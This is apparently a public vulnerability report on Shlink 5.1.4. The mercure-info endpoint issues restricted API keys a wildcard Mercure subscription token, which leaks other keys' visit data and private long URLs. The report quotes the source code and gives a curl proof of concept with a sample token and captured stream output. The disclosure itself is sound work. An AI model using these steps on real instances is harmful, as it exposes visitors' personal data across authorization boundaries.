Shlink version
5.1.4
PHP version
How do you serve Shlink
Docker image
Database engine
MySQL
Database version
Current behavior
Summary
Shlink supports restricted API keys with roles such as "Author only" (a key may only see and manage the short URLs it created) and "Domain only" (a key is restricted to a single domain). The REST visit endpoints correctly enforce these roles: a restricted key receives 404 when it tries to read visits of a short URL it does not own.
When the optional Mercure real-time updates integration is enabled, the /rest/v3/mercure-info endpoint hands out a Mercure subscription JWT to any valid API key, with no regard for the key's role. The issued token carries the claim mercure.subscribe: ["*"], granting subscription to every topic on the hub, including the global https://shlink.io/new-visit topic and every per short URL https://shlink.io/new-visit/{shortCode} topic.
As a result, a holder of a restricted "Author only" or "Domain only" API key can subscribe to the real-time stream and receive the visit data (referer, user agent, full geolocation, visit timestamp, visited and redirect URLs, and the complete short URL object including its private long URL) of short URLs created by other API keys and other domains. This bypasses the per author and per domain authorization boundary that the REST endpoints enforce.
Details
The REST visit endpoint enforces the role correctly. VisitsStatsHelper::visitsForShortUrl() resolves the short URL with the key's specification before returning any visits (module/Core/src/Visit/VisitsStatsHelper.php):
public function visitsForShortUrl(
ShortUrlIdentifier $identifier,
VisitsParams $params,
ApiKey|null $apiKey = null,
): Paginator {
$repo = $this->em->getRepository(ShortUrl::class);
if (!$repo->shortCodeIsInUse($identifier, $apiKey?->spec())) {
throw ShortUrlNotFoundException::fromNotFound($identifier);
}
...
}
$apiKey->spec() returns the role specification (BelongsToApiKey for author_only, BelongsToDomain for domain_only), so a restricted key gets a "not found" for short URLs it does not own. This was confirmed live (HTTP 404, see PoC).
The Mercure path has no such check. MercureInfoAction is reachable by any valid key, and issues a subscription token unconditionally (module/Rest/src/Action/MercureInfoAction.php):
class MercureInfoAction extends AbstractRestAction
{
protected const string ROUTE_PATH = '/mercure-info';
protected const array ROUTE_ALLOWED_METHODS = [self::METHOD_GET];
public function handle(ServerRequestInterface $request): ResponseInterface
{
$hubUrl = $this->mercureConfig['public_hub_url'] ?? null;
if ($hubUrl === null) {
throw MercureException::mercureNotConfigured();
}
$days = $this->mercureConfig['jwt_days_duration'] ?? 1;
$expiresAt = Chronos::now()->addDays($days);
$jwt = $this->jwtProvider->buildSubscriptionToken($expiresAt); // <-- no apiKey, no role
return new JsonResponse([
'mercureHubUrl' => sprintf('%s/.well-known/mercure', $hubUrl),
'token' => $jwt,
'jwtExpiration' => $expiresAt->toAtomString(),
]);
}
}
The authentication middleware only verifies that the key is valid (enabled and not expired); it never inspects roles for this route (module/Rest/src/Middleware/AuthenticationMiddleware.php):
$result = $this->apiKeyService->check($apiKey);
if (!$result->isValid()) {
throw VerifyAuthenticationException::forInvalidApiKey();
}
return $handler->handle($request->withAttribute(ApiKey::class, $result->apiKey));
buildSubscriptionToken (shlinkio/shlink-common, LcobucciJwtProvider) grants all topics:
public function buildSubscriptionToken(DateTimeImmutable|null $expiresAt = null): string
{
$expiresAt = $this->roundDateToTheSecond($expiresAt ?? Chronos::now()->addDays(3));
return $this->buildToken(['subscribe' => ['*']], $expiresAt);
}
The published payload on the global topic contains the per visit PII and the full short URL, with no per key filtering (module/Core/src/EventDispatcher/PublishingUpdatesGenerator.php):
public function newVisitUpdate(Visit $visit): Update
{
return Update::forTopicAndPayload(Topic::NEW_VISIT->value, [
'shortUrl' => $this->transformShortUrl($visit->shortUrl),
'visit' => $visit->jsonSerialize(),
]);
}
Visit::jsonSerialize() (module/Core/src/Visit/Entity/Visit.php) exposes referer, userAgent, visitLocation (geolocation), date, visitedUrl, redirectUrl. By default every real time topic is enabled, including the global new-visit topic (module/Core/src/Config/Options/RealTimeUpdatesOptions.php):
$this->enabledTopics = $enabledTopics === null
? $validTopics // all topics enabled when not explicitly restricted
: self::validateTopics($enabledTopics, $validTopics);
So the visit data of every short URL, regardless of which key created it or which domain it belongs to, is broadcast on a topic that the restricted key's subscribe: ["*"] token is allowed to read. The role specification that gates the REST endpoint is never applied to the real-time channel.
Expected behavior
(private reporting has been disabled and thus reporting here)
Minimum steps to reproduce
Prerequisite: a Shlink instance with Mercure enabled (set MERCURE_PUBLIC_HUB_URL, MERCURE_INTERNAL_HUB_URL, MERCURE_JWT_SECRET). Confirmed against shlink 5.1.4.
- As admin, create two restricted "Author only" keys, here referred to as KEYA and KEYB:
shlink api-key:generate --name=authorA --author-only
shlink api-key:generate --name=authorB --author-only
- KEYA creates a short URL with a private long URL:
curl -s -X POST http://localhost:8080/rest/v3/short-urls \
-H "X-Api-Key: KEYA" -H 'Content-Type: application/json' \
-d '{"longUrl":"http://example.com/secretA","customSlug":"aaaa"}'
- Confirm the REST role boundary works. KEYB is denied reading KEYA's visits:
curl -s -w "\nHTTP=%{http_code}\n" \
"http://localhost:8080/rest/v3/short-urls/aaaa/visits" -H "X-Api-Key: KEYB"
Response:
{"shortCode":"aaaa","title":"Short URL not found","type":"https://shlink.io/api/error/short-url-not-found","status":404,"detail":"No URL found with short code \"aaaa\""}
HTTP=404
- KEYB (restricted) requests a Mercure token and inspects its claims:
curl -s "http://localhost:8080/rest/v3/mercure-info" -H "X-Api-Key: KEYB"
Response:
{"mercureHubUrl":"http://localhost:3000/.well-known/mercure","token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJTaGxpbmsiLCJpYXQiOjE3ODE5Njg4MjQsImV4cCI6MTc4MjA1NTIyNCwibWVyY3VyZSI6eyJzdWJzY3JpYmUiOlsiKiJdfX0.NpmkDup-vwKr7TTpEGiha0i-x4O2iZP9ZKKcfyEvBQ8","jwtExpiration":"2026-06-21T15:20:24+00:00"}
Decoded JWT payload shows unrestricted subscription:
{"iss":"Shlink","iat":1781968824,"exp":1782055224,"mercure":{"subscribe":["*"]}}
- KEYB subscribes to the global new-visit topic using that token (the topic covers every short URL, all keys, all domains):
TOKEN=<token from step 4>
curl -s -N -H "Authorization: Bearer $TOKEN" \
"http://localhost:3000/.well-known/mercure?topic=https%3A//shlink.io/new-visit"
- A visit happens on KEYA's short URL (any visitor hitting the public short link):
curl -s -o /dev/null -A "VICTIM-Chrome/131 Pixel-8" \
-e "http://crm.internal.victim.example/lead?id=4242" \
-H "X-Forwarded-For: 198.51.100.23" http://localhost:8080/aaaa
- KEYB's open subscription (step 5) receives KEYA's visit PII in real time:
id: urn:uuid:1abac195-1778-4081-a7fe-547baf04f351
data: {"shortUrl":{"shortUrl":"http://localhost:8080/aaaa","shortCode":"aaaa","longUrl":"http://example.com/secretA","dateCreated":"2026-06-20T15:20:12+00:00",...},"visit":{"referer":"http://crm.internal.victim.example/lead?id=4242","date":"2026-06-20T15:20:44+00:00","userAgent":"VICTIM-Chrome/131 Pixel-8","visitLocation":null,"potentialBot":false,"visitedUrl":"http://localhost:8080/aaaa","redirectUrl":"http://example.com/secretA"}}
KEYB, which cannot read KEYA's visits through the REST API, now receives KEYA's referer, user agent, geolocation (when GeoLite is configured), and KEYA's private long URL, for every visit to every short URL on the instance. A "Domain only" key has the same access, since the token issued by /mercure-info is role independent.
Shlink version
5.1.4
PHP version
How do you serve Shlink
Docker image
Database engine
MySQL
Database version
Current behavior
Summary
Shlink supports restricted API keys with roles such as "Author only" (a key may only see and manage the short URLs it created) and "Domain only" (a key is restricted to a single domain). The REST visit endpoints correctly enforce these roles: a restricted key receives 404 when it tries to read visits of a short URL it does not own.
When the optional Mercure real-time updates integration is enabled, the
/rest/v3/mercure-infoendpoint hands out a Mercure subscription JWT to any valid API key, with no regard for the key's role. The issued token carries the claimmercure.subscribe: ["*"], granting subscription to every topic on the hub, including the globalhttps://shlink.io/new-visittopic and every per short URLhttps://shlink.io/new-visit/{shortCode}topic.As a result, a holder of a restricted "Author only" or "Domain only" API key can subscribe to the real-time stream and receive the visit data (referer, user agent, full geolocation, visit timestamp, visited and redirect URLs, and the complete short URL object including its private long URL) of short URLs created by other API keys and other domains. This bypasses the per author and per domain authorization boundary that the REST endpoints enforce.
Details
The REST visit endpoint enforces the role correctly.
VisitsStatsHelper::visitsForShortUrl()resolves the short URL with the key's specification before returning any visits (module/Core/src/Visit/VisitsStatsHelper.php):$apiKey->spec()returns the role specification (BelongsToApiKeyfor author_only,BelongsToDomainfor domain_only), so a restricted key gets a "not found" for short URLs it does not own. This was confirmed live (HTTP 404, see PoC).The Mercure path has no such check.
MercureInfoActionis reachable by any valid key, and issues a subscription token unconditionally (module/Rest/src/Action/MercureInfoAction.php):The authentication middleware only verifies that the key is valid (enabled and not expired); it never inspects roles for this route (module/Rest/src/Middleware/AuthenticationMiddleware.php):
buildSubscriptionToken(shlinkio/shlink-common, LcobucciJwtProvider) grants all topics:The published payload on the global topic contains the per visit PII and the full short URL, with no per key filtering (module/Core/src/EventDispatcher/PublishingUpdatesGenerator.php):
Visit::jsonSerialize()(module/Core/src/Visit/Entity/Visit.php) exposesreferer,userAgent,visitLocation(geolocation),date,visitedUrl,redirectUrl. By default every real time topic is enabled, including the globalnew-visittopic (module/Core/src/Config/Options/RealTimeUpdatesOptions.php):So the visit data of every short URL, regardless of which key created it or which domain it belongs to, is broadcast on a topic that the restricted key's
subscribe: ["*"]token is allowed to read. The role specification that gates the REST endpoint is never applied to the real-time channel.Expected behavior
(private reporting has been disabled and thus reporting here)
Minimum steps to reproduce
Prerequisite: a Shlink instance with Mercure enabled (set
MERCURE_PUBLIC_HUB_URL,MERCURE_INTERNAL_HUB_URL,MERCURE_JWT_SECRET). Confirmed against shlink 5.1.4.Response:
Response:
Decoded JWT payload shows unrestricted subscription:
KEYB, which cannot read KEYA's visits through the REST API, now receives KEYA's referer, user agent, geolocation (when GeoLite is configured), and KEYA's private long URL, for every visit to every short URL on the instance. A "Domain only" key has the same access, since the token issued by
/mercure-infois role independent.